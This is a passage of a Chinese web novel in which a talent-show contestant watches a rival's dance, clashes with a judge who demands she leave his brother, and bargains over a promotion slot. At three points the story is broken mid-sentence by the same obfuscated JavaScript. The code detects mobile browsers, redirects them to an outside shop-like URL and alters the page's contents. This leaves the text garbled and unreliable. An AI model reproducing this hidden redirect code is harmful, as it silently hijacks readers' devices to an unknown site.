“各位评委老师,下面上场的选手是来自乐盛娱乐的邓舒华,有请。” “邓舒华”三个字犹如闹铃一样,林见微登时清醒过来。 她立刻瞪大眼睛盯着屏幕,刚刚节目还没开始录制的时候,李颂一在候场区无端发难,拿之前无中生有的热搜说事,诬陷她是通过不正当手段才得到了参赛资格,大有要将她赶出节目的意思。 一百五十名选手中,只有林波微步和邓舒华勇敢地站起来帮助了她。 林波微步是她的老熟人了,又想和她炒CP,所以路见不平拔刀相助也正常。 但邓舒华和她素昧平生,却愿意冒着那么大的风险,当着诸位选手和掌握着选手生杀大权的胡享云的面,和李颂一硬刚,这让林见微颇为感激。 再加上她是老东家乐盛娱乐要捧的人,所以亲切感又加了一层,林见微暗想,如果有机会有需要,她一定尽全力帮邓舒华一把。 邓舒华要表演的是时下流行的女团舞,《Diss me》。 这首曲子曲风黑暗,歌词张扬着叛逆乖张,大意是说如果你diss我,我就要加倍diss回去,如果全世界diss我,我就要反抗甚至掀翻全世界。 嗯,联系一下刚刚邓舒华的所作所为,这首歌还真适合她。 灯光暗下,亮起时将舞台染成血一样神秘不详的红,邓舒华一袭黑衣黑裤赫然立在中央,头戴黑色高帽,手拿黑色手杖,嘴里还叼着一根黑色细棍。 这装扮太过前卫,这姿势充满着唯我独尊的狂拽酷炫,只一个亮相就引发了候场间和观战间的集体惊叫。 “妈耶这位姐也太帅了叭!!”“我要把她这张照片当做电脑桌面!!”“厉害了我邓姐!!”“疯狂打call,请原地出道好吗!” 乖觉的音乐动感响起,最开始是一片震得人耳膜疼的低音,每一个音符都透着不详,仿佛百鬼夜行,又如万魔狂舞。 当低音和弦达到挑战人听觉极限的最低点时,金锣锵地一声利响,如暗黑天空突然被强行撕开一条裂口,金光从缝隙中挤了进来,游行的百鬼尖叫着四处冲荡却无处藏躲,最终在万道金光下暗夜化作的糜粉黑尘中面容扭曲,惨叫连连,最终化作一缕灰烟四散消弭。 高亢的旋律下是邓舒华激昂的唱腔: 如果当全世界都背叛了你 背好行囊拿起武器反抗到底 我要纵横四海横行宇宙和全世界为敌 要向所有人宣告这就是我的雄起! 现在不光是候场区和观战间,就连现场的评委老师们也尖叫连连,沉闷太久的场子终于炸开,邓舒华的表演如列火一样在舞台上燃起! 不愧是乐盛力捧的新人之一,邓舒华的唱功、舞蹈、表演完成度都是一流的,虽然中间有几处没跟上节拍的小纰漏,但瑕不掩瑜,表演结束之后所有导师、候场区和观战间的选手们一致起立鼓掌,疯狂尖叫! “原地出道,原地出道!”“邓姐不红,天理难容!”“选秀历史谁改写,请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16706981|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来星璨找邓姐!” 林见微也是疯狂鼓掌,手掌拍得生疼,但依然不愿停止,她知道老东家的水平,乐盛出品必属精品,但没想到现场效果这么炸。 邓舒华不负众望地获得了迄今为止的全场最高分,四位评委都给出了8分或以上的分数,最后她以8.5的平均分位列第一。 时穆飞也史无前例地给出了8分,引发了所有人尖叫的同时,时穆飞笑看着站在一旁的周落: “怎么样,她的表演,有没有超过原唱?” 他这么一说,林见微突然想起,《Diss me》的原唱确实是周落。 当年他就是靠这首歌完成了演员到歌手的转变,也是靠着这首歌开启了暗黑金属、叛逆少年的形象。 周落笑着看着邓舒华,目光里充满欣赏:“后生可畏,前途可期。” 邓舒华:“周老师,您一直是我的偶像,您的这首歌曲一直鼓励着我,我对着您的原唱和原MV学了很久。” 然后她仰起头,带着几分傲然,甚至有一丝戏谑的挑衅:“所以您今天可否赏脸,和我一起舞《Diss me》?” 话音未落,场上就燃起一片尖叫,无论是评委还是选手都震惊而兴奋—— 震惊的是,周落向来倨然冷傲,不怎么愿意提携后辈,现在邓舒华竟然邀他共舞,这真是天大的胆子。 兴奋的是,周所周知周落的舞蹈利落有型,因充满荷尔蒙而奔张狂放,是无数少女的梦。 此时竟然能在现场大饱眼福,真是天降福报,三生有幸! 时穆飞向来看热闹不嫌事大,趁机起哄:“周老师,来一个!” 蒋方奇也笑嘻嘻地附和:“周哥,听说最近你有疯狂健身哦,赶紧跳一个,让我们大饱眼福。” 候场间和观战间里的选手们更是声浪迭起:“来一个,来一个!” 周落没法当众拒绝这盛情邀约,只得点头沉声答应:“好,那我准备一下。” 众人惊喜大叫,震耳欲聋,周落冲台下使了个眼色,负责场控的破锣嗓立刻小跑上前。 周落将印花外套脱下递了过去,修身的白色T恤下隐隐能看见沟壑纵横的肌肉线条。 镜头不怀好意地迅速给了个近景,全场再次爆发出一轮惊叫。 他和邓舒华简单商量了一下,决定因为时间关系只跳《Diss me》一开始的部分,点到为止即可。 音乐再次响起,灯光暗下,低沉的和弦中百鬼再次出没人间,两人一左一右站定,脸上同频地切换上乖张叛逆的神情。 当金锣裂响时,高亢的唱词接入,这一次是周落的声音,很难想象他没有开嗓,竟然能直接唱出如此高的音域。 《Diss me》的头一小节音调非常高,堪比《死了都要爱》,演绎难度很高,刚刚邓舒华其实是对曲子做了改编,降了几个调才完成了演唱。 现在原唱开口,清越的声音不费吹灰之力驾驭那极高的音律,众人惊呼不已,惊叫得嗓子都要喊哑了。 几句歌词结束,周落和邓舒华同频地舞动起来,观众们已经快叫不动了,但场面太燃还是控制不住地把吃奶的劲都使上了。 《Diss me》之所以能成为周落的成名作,是因为它实在是太难了,一是因为演唱调门高,一般人拼了老命破音了也唱不上去,二是因为舞蹈动作复杂,再加上节奏极快,稍一疏忽就会漏拍。 但周落和邓舒华一左一右,都以精湛的技艺高水平地完成了这段内娱里数一数二难的舞蹈。 最难得的是二人的动作几乎同步,一举手一抬足连角度都相同,仿佛一个人分成了一男一女两身。 掌声雷动,蒋方奇大声叫好,时穆飞也夸张地拍着桌子,尤有芒和季清云都竖起拇指,候场区和观战间沸腾一片。 然而就在表演快结束时,邓舒华突然从旁跳落到周落身前,贴了上去,迎着周落惊愕的目光,左手扳着他宽阔的肩,右手握住他空中的手,带着他向右下方倾斜下去。 由于节奏紧凑,周落又是舞台经验丰富的老手,所以即使面对邓舒华突如其来的设计,周落也临危不乱。 顿错只发生在一瞬间,如果从摄影老师和普通观众的角度看,整套动作竟如行云流水一样自然。 当然熟悉《Diss me》的人会明白,刚刚那个动作是临时加的,原曲里没有这部分,但鉴于刚刚周落和邓舒华商量过怎么演,大家觉得这是个巧思的设计。 全场再次沸腾,候场间激动万分,但一片尖叫呐喊声里还是传出李颂一那尖利的声音: “他们刚刚是亲上去了吗??” 63.六十三 曲子结束,周落和邓舒华分落两边。 因为曲子节拍极快,动作难度又高,虽然只跳了一小节,二人还是气喘吁吁,花了好久才平复呼吸。 破锣嗓刚给周落和邓舒华递上话筒,蒋方奇就迫不及待地发问,眼睛里燃着熊熊八卦之火:“周哥,刚刚怎么多加了个动作啊?” 说完,还露出一个“我就静静看着你解释”的吃瓜表情。 群众们也是一副看热闹不嫌事大的模样。 周落顿住,脑子里极速思索合适的答案,刚刚最后那个动作实属意外,如果没猜错,是这个新人太想红了,所以故意制造话题蹭流量…… 然而还没等他想好回答,邓舒华已经抢先说道:“是我和周老师刚刚提前设计好的,我们觉得既然是双人舞,有一些互动会更丰富。” 周落愕然,既而觉得这新人真不简单,她这么一说,自己还能当众反驳不成?那样岂不是显得自己器小? 时穆飞敏锐地察觉到周落表情不对,追问道:“是吗?真的是这样吗?” 邓舒华攥紧话筒的手心里因为心虚渗出一层细汗。 如果周落公开反驳她的说法,那无异于葬送了她的演艺前途,以后围绕她的将是“蹭热度”“为了上位不择手段”“勾引周落”等不堪的评论。 刚刚她确实铤而走险了一把,她是因为知道周落是《星璨》主持人才选择《Diss me》这首曲子的,她并不擅长舞蹈,所以对着视频在练功房里没日没夜连了好久。 她想借着这次的热度一炮而红。 但如果玩脱了,偷鸡不成蚀把米,拿等待她的将是被公司封杀、被观众遗忘、还没出道就被永久雪藏的风险。 正当她内心焦急地挣扎时,周落在一旁缓缓道:“是我们提前商量好的,我们觉得如果能有这样的互动,会更加丰富曲子的意境。” “哦?”时穆飞仍然十分怀疑,“据我所知,《Diss me》就和你的孩子一样,你一直十分爱惜宝贝,从不轻易改编,甚至各种diss其他音乐人的改编……” “我愿意让参加《星璨》节目的选手随意改编我的歌曲,”周落快速打断他,“来这里参赛的都是学员,我愿意慷慨地把自己的作品借给他们,也可以提供改编指导。” 蒋方奇非常意外,周落可是出了名的爱惜羽毛,对自己的作品有一种病态偏执的爱,就连其他人翻唱他的歌都要被他在微博上骂半天,今天这是怎么了? 周落说这话当然是违心的,但他实在不想戳穿邓舒华的谎言,不然会引起更大的风波。 现在这个局面,无非是热搜上会出现几个和他还有邓舒华相关的词条,过几天就下去了,如果他当众戳穿谎言,那舆论发酵起来可就控制不住了。 他不能冒这个风险,因为他接下来还要拍文眉导演的戏,他知道文导最不喜演员上热搜搏流量,所以他不能在这个节骨眼上搞出事情。 万一影响文导的戏,他还怎么和林见微合作呢。 他本人一澄清,大家自然都相信了,纷纷夸赞二人的设计颇具巧思,而且自带爆点,真是为节目组费心了。 由于刚刚的双人舞表演太过炸场,再加上已经录制了两个小时,导演组决定让大家中场休息半个小时。 大家都开心地接受了,毕竟时时刻刻面对镜头压力也挺大的,中场休息时大部分人决定出去在楼道里或者大楼外面走一走,呼吸一下新鲜空气,有一小部分人则留在原地迅速补个觉。 邓舒华来到观战间,第一时间就是坐到林见微身旁,笑着问她需不需要出去走走,透透气。 林见微欣然同意,这时邓舒华看着一旁有些精神不振的林波微步,笑问:“我把你CP借出去一段时间,不介意吧?” 林波微步打了个哈欠:“你们出去转转吧,我得睡一觉。” 邓舒华开心地表示感谢,然后拉着林见微就往外走。 两人相见恨晚,又做了一番详细的自我介绍,还约定如果双双晋级,一定找机会合作,如果有一人不幸淘汰,那也保持联系,有工作机会就想着彼此。 林见微好奇老东家乐盛的情况,便问道:“你们乐盛今年派过来多少名选手啊?” 说到这儿邓舒华竟叹了口气:“只派了我和李颂一两个人。” 林见微非常吃惊:“乐盛可是现在圈子里的龙头老大,说一不二的那种,这么大的节目,怎么可能只成功送进来两个人?” 邓舒华又叹了一声:“唉,即便如此,也不能保证我们两个一定能出道,这背后有太多博弈,水太深了。” 林见微安慰道:“放心吧,最后选三男三女六个席位,你们乐盛至少能占一席,运气好了说不定占两席,你的赢面挺大的。” 邓舒华却并不乐观:“那可不一定,大家都认为乐盛一定已经内定了至少一席,可是实话跟你说,能把我和李颂一塞进来,公司就费了不少周折,最后差一点只能送一人进来,当时我和李颂一在公司争得头破血流的。” “主要是新锐的势头太猛,再加上前几年压对了宝,投资的几部戏都赚得盆满钵满,所以一路高歌猛进,大有要赶超乐盛的意思。” 林见微:“百家争鸣百花齐放向来是行业内的生态,每年的机会那么多,积压的好戏好剧本也多,新锐也不可能全都抢去!乐盛再怎么说也是老牌子了,有根基有人脉,不愁的。” 邓舒华苦笑:“唉,你不在我们公司,没经历那些糟心事,所以不知道——别看乐盛表面上风光无限,实际上内里已经烂了。” 说着她环顾左右,拉着她走到走廊里一个角落之处,压低声音道:“我和你投缘,所以跟你说句实话,乐盛现在就是个纸糊的老虎,大有强弩之末之势。” “这几年还可以靠吃老本勉强支撑下去,再过几年可就要走下坡路了!” 林见微还是不敢相信,不过她在的时候光顾着连轴转拍戏了,没怎么管过公司的实际情况。 这么说,她离开还是对的了? 这时只听邓舒华续道:“你看我们现在捧的人,蔡芊艺和陈怀顾,两人都不抗戏,公司给他们砸了多少资源,但就是收不回本。” “最近他们在拍那个《女王再疼我一次》,唉,什么玩意儿!新锐那边也在拍同一个IP,听说弄得比我们这个好多了。” 林见微听着这片名还有蔡芊艺和陈怀顾的名字就头疼:“乐盛好像确实没什么人抗起戏剧的大旗了……” 邓舒华不无惋惜地说:“之前林见微还没出事的时候,乐盛都是她一个人扛的,她拍的那些戏,每一部都让乐盛挣得盆满钵满,可以说她一个人就养活了乐盛所有艺人!” “去年她想转型拍电影,乐盛高层挺不乐意的,因为如果继续拍电视剧,一年更高产,收入更稳定,风险也小很多,能给乐盛更多的现金流,但拍了电影可就不一定了。” “但后来她出事了……唉,可惜了了。” 林见微也难过不已,倒不是因为自己出事了变成了一百零八线主播大劈叉,而是因为她还是头次听说,乐盛竟然那么不想让她拍电影。 看来她还是心思单纯了,拍摄《风华绝代》前公司给她施加了阻力,那时她还以为高层是不希望她名气变得更大,在乐盛形成一人独大之势,那样不好控制,导致公司生态失衡。 现在看来,公司其实只在乎钱,他们根本没打算支持她转型,想把她永远禁锢在电视圈内,这样她就能像圈内的羔羊一样,不停地机械地下奶,养肥了之后任人宰割…… 她不禁打了个冷噤。 但比起邓舒华的话更寒气逼人的是,走廊的另一头传来一个冷沉的男声: “大劈叉你过来一下。” 林见微猛地抬头,只见时穆飞手插兜站在走廊那边,虽然隔着几十米距离,依然能感受到他威压的气场和冷冽的态度。 邓舒华同情至极地看着林见微,安慰道:“没事,他都已经给你打了2分了,还能把你怎么样……” 林见微苦笑不已,留下一句“待会儿你要是在观战间看不到我,别忘了报警”,匆匆撇下邓舒华,朝走廊另一头走去。 如果是真正的大劈叉,此时此刻一定会害怕得浑身发抖,毕竟时穆飞这种站在金字塔和食物链顶端的大少爷,碾死她比碾死一只蚂蚁还容易。 但她是林见微,大风大浪都闯过来了,也见过各种大场面,时穆飞这样的纨绔子弟还吓不住她。 她一步一步朝时穆飞走去,后者压着眼睫,冰冷审视地看着这个好像毫无惧色,不知天高地厚的小虾米。 待林见微走到跟前,时穆飞只低声吐了一句“随我来”,便转身朝屋内走去。 林见微知道那屋子很可能是他的专属休息室,向内一撇发现好像也没有其他人,但她还是坚定地跟了进去,因为她要问问清楚,时穆飞凭什么只给她的表演打2分。 走进屋子,林见微先打探了一下地形:休息室装修得华美精贵,相当于一个客厅加卧室,当中是一个一看就死贵的黑色真皮沙发,对面有茶几、大电视、茶水间、衣帽柜,屋子最里面还有一张铺着配饰繁复精美的双人床。 林见微深吸一口气:有钱公子就是好啊,想当年她也上过节目,休息室里能有张舒服的床就不错了,哪敢奢望这么齐全的配置。 复杂苦涩的思绪被时穆飞一句冷冰冰的命令打断了。 “关上门。” 林见微有一瞬间的犹豫,但还是很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711752|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照做了。 她能感受到时穆飞对她带着极大的敌意,所以反而不害怕孤男寡女共处一室可能带来的危险。 落锁的大门隔绝了所有喧嚣,屋内安静极了,空气一下子有些不流通,沉沉地压在林见微胸膛。 时穆飞朝那张黑色沙发怒了努嘴:“坐。” 林见微便大大咧咧地在沙发正中央坐下了。 时穆飞没想到她这么大胆,那可是他的专属座位,就连《星璨》总导演来了也不敢坐的。 这个小虾米竟然吃了熊心豹子胆,把卑微低劣的屁股放在那无上尊贵的座位上?? 时穆飞气极了,但还是调用所有的理智忍住了,看来看去在沙发一旁的扶手椅上怨气冲冲坐了下来。 “你可知错?”时穆飞刚坐下,就居高临下地问道。 林见微简直要笑出来,他以为他是谁,九五之尊的皇帝?? “民女愚钝,还请大爷明示。”林见微恭敬地双手交叉叠在膝头。 时穆飞差点气得跳脚站起,她以为她是谁,敢在这里跟他嬉皮笑脸帅滑头,还TM演古装戏?? 但他觉得如果显示出自己被气到,那就太跌份了,自己可是气度恢弘高高在上的贵公子,犯不着被这个小虾米牵着鼻子走。 清了清嗓子他说:“你少在这里装蒜!自己做的事,自己清楚!” 林见微更加奇了,眨着一双清澈无辜水汪汪的大眼睛问道:“你是说我在节目组完全没准备好的时候,第一个上台表演,不仅用自身实力成功惊艳了评委,还向接下来表演的选手们树了个好榜样?” 时穆飞简直要气炸,这都什么乱七八糟的,这个人怎么这么会胡搅蛮缠,而且极度自恋。 他一拍茶几,拍案而起:“你的表演有问题,很大的问题!我都指出来了!但这不是我现在要跟你说的!” 林见微继续大剌剌地坐在沙发上,甚至翘起了二郎腿,抬起头笑嘻嘻地问:“那你究竟要说什么?” 时穆飞不可思议地望着她,这个小虾米看见自己起来,竟然一点也没有抬屁股的意思,不一起站起来表示恭敬也就算了,还她娘的舒舒服服地享受起来。 岂有此理,这人真是顽固愚昧,不可理喻。 他再四审视地把林见微从头到脚看了几遍,也不知她是真傻还是装傻。 中场休息时间有限,他不想做无谓的消耗,于是他决定直入主题。 时穆飞俯视盯着林见微的眼睛,一字一顿咬牙道:“离开我弟弟,听明白没?” 这下轮到林见微震惊了,她确实没想到,时穆飞把她叫进来,竟然是为了说这个。 合着他刚刚瞎打分外加一通输出,是为了给她一个下马威,为这个要求造势? 离开他弟弟?林见微脑子疯狂思索起来,时穆飞和时闻不是向来不和,根本没来往吗,怎么着,难道背地里竟是兄友弟恭,不然时穆飞为什么要关心弟弟的人际交往? 而且最重要的是,为什么要离开?她和时闻也没在一起啊。 脑子嗡嗡乱,林见微实在想不明白时穆飞为什么要这么要求,时穆飞也看出了她的错愕,还道她是舍不得,冷笑讽刺道: “你也不看看自己是谁?一个没名气没钱没地位的小主播,竟然妄想攀上我时家的高枝?” “也就是我弟弟,人傻钱多,才能被你这种低级伎俩给迷惑了,我警告你,如果你不离开他,我可以彻底毁了你。” 林见微仰起头,质问道:“你自己不也娶了主播吗?小麋鹿,才离婚多久,你就忘了这个人了吗?” 林见微没意识到她说的是“也娶了”,但二人交锋之际没人注意到这些细节,时穆飞呵呵冷笑道: “你和小麋鹿能比吗?人家家大业大,妥妥的白富美,飞机游艇都玩了个遍之后闲得无聊才做的主播,你呢?你家里什么情况,你自己不清楚吗?” 林见微瞬间低下头,她家庭条件确实连小麋鹿的脚指头都比不上。 其实她没想到小麋鹿是富二代,不过这样一切才终于说得通了。 看来时穆飞不是精虫上脑才娶的小麋鹿,如果小麋鹿家资产雄厚,这背后肯定有各种利益的考量。 见林见微终于不再油嘴滑舌,时穆飞也心满意足地享受着这一刻的沉默。 很好,她终于认清现实了,我的说教很有作用,我成功帮我的傻弟弟避了一个坑。 看着低着头紧皱眉头认真思索的林见微,时穆飞冷声道:“没话了吧?那你知道该怎么做了吧?” 就当他打算以胜利者的姿态把林见微赶出门时,林见微却抬起头,认真地看着他,然后问道: “给我一笔分手费,我就如你所愿离开你弟弟。” 64.六十四 时穆飞本来喝了一口水,结果差点全部喷了出来。 她说什么?分手费?? 都这个时候了,她怎么敢还在这里谈条件啊?? 苍天啊,她为什么这么难缠??? 时穆飞迫使自己冷静理智地思考了片刻,问道:“你想要多少钱?” 林见微坦然地看着他,认真道:“五百万怎么样?” 时穆飞:“………………你想得美。” 然而林见微的话一语点醒梦中人,时穆飞突然灵光一现:原来她喜欢钱,那就好办了,如果她继续胡搅蛮缠,那就用钱把她砸走。 反正他最不缺的就是钱。 林见微也没说话,就静静地看着他。 果然,过了半晌时穆飞妥协道:“行,但你得答应我,钱到手以后,你再也不许纠缠我的傻弟弟。” 林见微脸上绽开花一样的笑容,终于缓缓站起身,看着时穆飞道:“哈哈,我逗你玩的。” 时穆飞一副被驴踢了的大冤种模样:“??!!%&*#!” 林见微灿烂地笑着,露出洁白牙齿:“我有钱,所以现在不贪钱,刚刚只是想试探一下你的底线和接受程度在哪。” “这样吧,我也不要你给我五百万,只要你给我一样东西,我就做到你想让我做的。” 时穆飞瞪大眼睛:“什么东西?” 林见微:“《星璨》的晋级名额。” 时穆飞清了清嗓子,又活动了一下脖子,因为太过用力关节咔咔作响。 空气安静了好一阵子,时穆飞瞪着大眼,一字一句吐道:“你的算盘珠子都打到我脸上了你知道吗?” “如果你晋级《星璨》,将获得靠自己努力一辈子都无法企及的泼天流量,到时候广告代言、综艺节目、杂志拍摄、商演邀约,全都会蜂拥找到你。” “到时候你随便上上通告,接接代言,挣的可不止五百万!” 林见微立刻反驳道:“那可不一定,当艺人都是有风险的,万一我哪天出事了,节目组和广告商还得找我索赔违约金呢!” “而且,我要是出道了,就得签约经纪公司,到时候挣的钱一大半都交给他们了,能落到自己兜里的能有几个铜板?” “你以为在娱乐圈,一个十八线小明星实打实挣五百万很容易吗?No, no, no,我告诉你,其实很艰难,而且处处都是风险和陷阱!” 时穆飞不屑地一笑,这小虾米以为自己是过来人很有经验吗,竟然在这里危言耸听,还敢说教他? 笑话,娱乐圈明星的钱就是大风刮来的,哪有她说的那么艰难。 不过,她刚刚说,如果她出事了,要赔付违约金? 这倒是个思路,如果她执意要《星璨》的晋级名额才肯离开他的傻弟弟,那不如采取迂回战术—— 先送她晋级,让她尝尝甜头挣点钱和流量,然后再寻衅找事,狠狠敲一竹杠,让她把挣到的都吐出来。 好,这样很好。 时穆飞的嘴角微微上扬,他为自己的天才计划感到骄傲。 也为自己的兄弟情深而感动——如果不是为了那个比牛还倔的傻弟弟,他堂堂贵公子,怎么可能花这么长时间,费这么多口舌,和一个小虾米纠缠来纠缠去? 这么想着时穆飞伸出手:“好,那就一言为定。” 林见微也微笑着伸出手,然而就在他二人即将握手完成这场愉快的交易时,本来锁着的大门突然开了。 与此同时门口传来一低沉男声:“我不同意。” 林见微和时穆飞同时惊讶回头,只见一个熟悉得不能再熟悉的颀长身影站在门口,清隽俊秀的脸上结着一层厚厚冰霜。 头顶的壁灯和走廊的灯光上下交织,在时闻脸上投下层层阴翳,棱角分明的下颌线显得格外锋利冷峻。 时穆飞和林见微在心里同时哀嚎一声:完了,此时此刻最不想看到的人竟然出现了。 时闻那结着冰霜的目光冷冷地在二人脸上切换,最终定在时穆飞那凝着愤怒和惊吓的脸上。 他大步朝时穆飞走去,每一步都带着一股杀气。 林见微默默地迅速朝后面退了几步。 时闻走到时穆飞身前,还没说话,时穆飞就梗着脖子叫道:“你怎么来了?” 时闻:“你们在谈关于我的交易,我为什么不能参与?” 时穆飞:“这种见不得人的交易当然要背着你谈!” 时闻:“那不好意思,你们不够谨慎,被我发现了,现在我有意见要发表。” 时穆飞继续梗着脖子,吹眉瞪眼:“什么意见??” 时闻:“我跟你说过很多次,不要掺和我的事,我想和谁做朋友,想做什么,都和你,和时墨集团,和时家无关。” 时穆飞:“你太天真了!你什么都不用说不用做,站在那里就可以代表时家,你自己要和家里断绝关系,可实际上你的一言一行还是会密切影响公司和时家!” 时闻:“我可以发公告昭告天下,告诉所有人我和你们没有关系。” 时穆飞眼珠子都要瞪出来了,近乎咆哮道:“你大胆!你要是敢发声明,我就把你手剁掉!我不是在开玩笑!!” 时闻:“行,那我先不发声明,但你得取消你们正在谈的这笔交易。” 时穆飞一下子□□沉默了,脑子有根神经接不上,想了半天不知道该怎么办。 这真是无比艰难的两难选择:让弟弟接受时家人的身份,但是接受他和这个愚蠢小虾米鬼混在一起的现实。 或者弟弟和小虾米绝交,但同时和家里断绝关系。 苍天啊,时闻这个傻x混蛋为什么这么不让人省心啊啊啊! 成天就知道给他这个操碎了心的老哥出世纪难题。 不知道他老哥脑子不太好使吗?? 这时林见微在一旁弱弱地说:“可是我还是想要《星璨》的晋级名额……” 她的声音越来越低,因为时闻的目光如冰山一样压了过来。 林见微立刻识趣地低头。 与此同时心里充满着各种不满:本来凭自己能力也可以晋级的,都是因为他们时家兄弟不睦,导致时穆飞对她憋着一肚子怨气,给她打了个史无前例惨绝人寰的超低分,阻断了她的晋级之路。 她想拿回属于自己的晋级名额,这要求很合理,没毛病,是他时家兄弟欠她的。 再往前说,当她还是林见微的时候,《风华绝代》本来可以顺利斩获至少几亿的票房,都怪时穆飞和小麋鹿用离婚新闻为他们的电影《桃花烂大街》造势吸睛,瓜分走了大部分票房份额。 再加上《风华绝代》主创之一的时闻被爆出当街打人的丑闻,导致她的电影处女座折戟沉沙,票房远未达预期,还提前撤档。 所以她现在所经历的一切,都是时家兄弟欠她的。 她越想越理直气壮,于是气鼓鼓地抬起头直视时闻的目光。 这时时穆飞突然插道:“这样吧闻闻,我和你做个交易,结束今天的这场闹剧。” 时闻疑问回头,只听时穆飞摇着脑袋缓缓道:“我知道你想要什么,如果我帮你解一个燃眉之急,你就得答应我一件事。” 时闻心里冒出一个大大的问号:他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717676|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个满脑子稻草的兄长能吐出什么象牙。 但他还是说:“愿闻其详。” 时穆飞摇头晃脑地说了起来,语气里透着几分洋洋得意:“你和你姐最近在忙着对付高翔是吧?我都听说了,你姐姐也真是的,做了那么多无用功,苦哈哈忙了这么久,也没个成效……” 时闻冷冷打断他:“你究竟想说什么?” 时穆飞嘿嘿一笑:“如你所知,你大哥我恰好和高翔交好,简直是异父异母的亲兄弟,所以只要我一句话,就能帮你解决高翔的事。” 说着他压低声音,循循善诱道:“我可以让高翔不再和你、和你那个傻兄弟谷煜、和这个小虾米做对,但是呢,作为回报,你得答应我一件事情。” 时穆飞的话让时闻和林见微都竖起耳朵——如果能解决高翔,那无异于帮了他们一个大忙,林见微的直播账号可以解封,谷煜的冠名权也有可能重新拿回。 时闻:“你想让我答应你什么事?” 时穆飞:“就是最开始的那件事情,我要你答应我,和这个小虾米划清界限,再无来往!” 空气有一阵子的沉默,时穆飞的目光在时闻和林见微脸上来回逡巡,他满意地看到自己的傻弟弟皱紧眉头,生平第一次那么认真地思索自己说的话。 也满意地看到小虾米终于被震慑住了,在巨大的震惊中沉默着,脸上甚至带着一丝罕见的茫然无措。 很好,他终于得到了做兄长和上位者的尊严,虚荣心得到了极大满足。 空气沉默得令人窒息,一分一秒变得漫长,三十分钟的中场休息马上就要结束。 门口传来了咚咚敲门声,随着吱哑一声,一个年轻女孩怯怯地探头进来:“时老师,节目录制马上就要开始了,陈导让我过来看看你休息好了没有……” 时穆飞心道:休息好了个屁!这番折腾比tm录节目还累。 也许是他脸上神色太过阴沉,那年轻女孩立刻退到门后,隔着门缝留下一句:“那您休息好了赶紧出来哦,大家都准备好了。” 然后就落荒而逃。 走廊里的脚步声越来越远,眼见时闻和林见微都没有要说话的意思,时穆飞有些耐不住,焦虑的目光左看看右看看。 最后就在他打算要说些什么的时候,时闻突然发话: “所以,你的意思是,你帮我们解决高翔,让他消除对大劈叉和谷煜的敌意,而我要做的,是和大劈叉分开?” 时穆飞连连点头,催促问道:“没错,所以你的意见是?” 时闻点头并伸出手:“好,成交。” 时穆飞简直不敢相信自己的耳朵和眼睛,自己今天竟然真的和这个刺头弟弟谈成了一笔交易?这真是太阳打西边出来了,一个史无前例的巨大成就。 平常想和时闻谈点事,简直比登天还难,今天这么顺利,这里面……不会有什么陷阱吧? 他弟弟虽然一副地主家的傻儿子形象,但其实有的时候脑子还挺好使的,甚至有些滑头,不然读书的时候成绩能那么好,一路以3.9+的GPA斩获各大高校的offer? 然而这时他电话又叮铃铃响了起来,是陈华的来电,不用问,一定是催他赶紧回去。 催催催,一天到晚就知道催!命都要被催掉半条了! 时穆飞不耐烦地摁掉来电,一把握住傻弟弟的手:“君子一言,驷马难追,行了,今天就到这里吧,老子还有正事要忙。” 一边说他一边大步流星往外走,但人都出门了又折回来,不放心地说:“老子的休息室闲人免进,你俩赶紧告个别,然后都他娘的给老子滚出去!” 65.六十五 随着砰的一声,大门被时穆飞用力关上,偌大豪华的休息室就只剩下林见微和时闻两个人。 空气再次变得安静,氛围压抑而窒息,两人各怀心事,相顾无言了很久,时闻终于打破沉默。 他看着林见微幽幽地说:“我哥刚刚让你离开我,你答应得挺欢的啊。” 时闻的目光有千钧重,林见微不由得低下头:“我……” 时闻停顿片刻,审视的目光将林见微从头打量到尾,而后说:“所以你觉得,我们是需要‘被离开’的关系?” 林见微倏地抬起头:“咦,喵喵喵???” 时闻比她高一头,此刻居高临下地盯着她,目光透着严肃和威严:“而且,你还找他要‘分手’费。” 林见微脸上发烧,呼吸也变得急促,安静的室内,她可以清晰听见自己砰砰的心跳声。 时闻故意把“分手”二字咬得很重,言外之意不言而喻。 林见微心里突突直跳,一股不详的预感油然而生,直觉告诉她,有什么很可怕的话就要从时闻嘴里说出来了。 要镇静,林见微在内心拼命呼号,千万不要露怯,要装作没事人一样。 然而心脏还是愈跳愈快,血液涌上头顶,平时很灵光的大脑被搅得一团混乱。 你可是影后,影后!拿出你的演技来,快! 林见微在心里大声喝令,可是所有的神经细胞都不听话,指东打西,完全乱套了。 她正顾头不顾腚地掩饰紧张,时闻下一句话让她彻底破功。 